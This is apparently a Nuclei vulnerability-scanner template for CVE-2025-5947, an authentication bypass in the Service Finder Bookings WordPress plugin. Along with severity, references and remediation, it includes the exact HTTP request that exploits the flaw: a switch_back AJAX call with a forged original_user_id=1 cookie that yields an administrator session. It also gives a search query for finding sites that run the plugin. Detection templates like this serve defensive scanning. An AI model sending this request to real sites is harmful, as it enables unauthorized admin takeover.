Service Finder Bookings WordPress plugin <= 6.0 contains a privilege escalation caused by improper validation of user cookie in service_finder_switch_back() function, letting unauthenticated attackers login as any user including admins.
PoC
id: CVE-2025-5947
info:
name: Service Finder Bookings - Authentication Bypass
author: sedat4ras
severity: critical
description: |
Service Finder Bookings WordPress plugin <= 6.0 contains a privilege escalation caused by improper validation of user cookie in service_finder_switch_back() function, letting unauthenticated attackers login as any user including admins.
impact: |
Unauthenticated attackers can login as any user, including administrators, leading to full system compromise.
remediation: |
Update to the latest version beyond 6.0.
reference:
- https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability
- https://github.com/advisories/GHSA-x2xx-4qhp-2vqx
- https://github.com/M4rgs/CVE-2025-5947_Exploit
- https://nvd.nist.gov/vuln/detail/CVE-2025-5947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-5947
epss-score: 0.04469
epss-percentile: 0.90949
cwe-id: CWE-639
metadata:
max-request: 2
vendor: sf-booking
product: service-finder-bookings
publicwww-query: "/wp-content/plugins/sf-booking/"
tags: cve,cve2025,wordpress,wp-plugin,wp,sf-booking,auth-bypass,cookie-spoofing,vuln,vkev
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: {{Hostname}}
Cookie: original_user_id=1
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?i)Location:.*\/wp-admin\/'
- type: regex
part: header
regex:
- '(?i)Set-Cookie:.*wordpress_logged_in_'
- type: status
status:
- 301
- 302
# digest: 4a0a004730450220689e4ec7306ba522ada4189bcea1221bcad09a6ee48cfc07860426c72182ce2f022100acbade57c95299e038c623a3cf2b492103a04fdc4f71d90011c6481af0a78b72:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.